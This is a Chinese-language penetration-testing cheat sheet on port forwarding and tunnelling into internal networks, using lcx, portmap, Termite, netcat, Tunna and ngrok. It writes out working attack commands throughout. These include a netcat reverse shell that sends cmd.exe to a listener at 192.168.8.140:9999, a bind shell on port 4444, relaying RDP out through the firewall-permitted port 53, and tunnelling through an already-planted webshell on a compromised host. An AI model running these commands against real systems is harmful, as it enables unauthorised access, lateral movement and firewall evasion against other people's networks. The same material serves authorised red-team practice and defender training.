参考文献:http://payloads.online/archivers/2018-02-02/1
http://www.freebuf.com/articles/web/170970.html
工具下载:https://github.com/Brucetg/Pentest-tools
使用端口转发技术来访问内网其他主机中,或者将内网中某个端口转发到本地。
端口映射 :
端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机。
1.lcx
-listen <监听端口> <转发端口>
-tran<监听端口> <目标地址> <目标端口>
-slave <目标主机> <目标端口> <本地主机><本机端口>
端口映射 (无法访问内网)
A(192.168.x.xx)无法访问B( 172.21.xx.xx)主机上的端口,但B可以访问外网
实现内网端口转发
//在A主机上监听两个端口,并将来自 8989端口的请求传送给9898端口
A主机上执行命令:lcx.exe -listen 8989 9898
//将B主机的3389端口转发到A主机的8989端口
B主机上执行命令:lcx.exe -slave 192.168.x.xx 8989 172.21.xx.xx 3389
linux使用方式
./portmap -m 2 -p1 8989 -p2 9898
./portmap -m 3 -h1 内网主机IP -p1 3389 -h2 公网主机ip -p2 8989
A与B建立一个通道,将9898的数据不断的传送到B上的目标端口,中间也包括B主机目标端口响应的数据
端口转发 (能够访问内网某台主机)
①A能访问B主机的任何端口,但是无法访问C主机上的端口
实现端口转发
//B主机上监听的端口就相当于访问了C主机上的端口
在B主机上执行:lcx.exe -tran {监听端口} {C主机IP地址} {C主机端口}
②由于防火墙限制,部分端口无法通过防火墙
实现本地端口转发
//将该B主机的无法通过防火墙的3389端口透传到防火墙允许的其他端口53
B主机上执行:lcx -tran 53 B主机ip 3389
2. Termite
这个以前总结过,就不再细说了,直接看此文章就行了https://www.jianshu.com/p/cdaf50bfe6e1
3.nc反弹
①反向连接:
//在公网主机上进行监听:
nc -lvp 9999
//在内网主机上执行:(-t 参数是指通过telnet模式执行cmd.exe)
nc.exe -t -e cmd.exe 192.168.8.140 9999
成功后得到一个内网主机的cmd shell
②正向连接
//远程主机上执行:
nc -l -p 4444 -t -e cmd.exe
//本地主机上执行:
nc -vv 远程主机ip 4444
成功后得到了一个远程主机的一个cmd shell。
4.tunna
Tunna通过HTTP协议建立一个TCP通信隧道,属于端口复用技术。它可以用来绕过防火墙环境中的网络限制。
--help, -h 显示此帮助信息并退出
--url=URL, -u URL 为远程webshell的URL
--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接
--addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
--cookie, -C 请求cookies
--authentication, -t 基本认证
A已经拥有了B主机的Webshell,但是无法对B主机的其他端口进行通信
//将目标服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s
//将10.10.12.1服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s
5.ngrok
访问内网上的内容
//在本机上执行
python2 -m SimpleHTTPServer 80
//在内网主机上执行
'/home/cws6/Desktop/ngrok' http 80
在本机浏览器中访问Forwarding
后的网址,就能访问内网主机上的文件。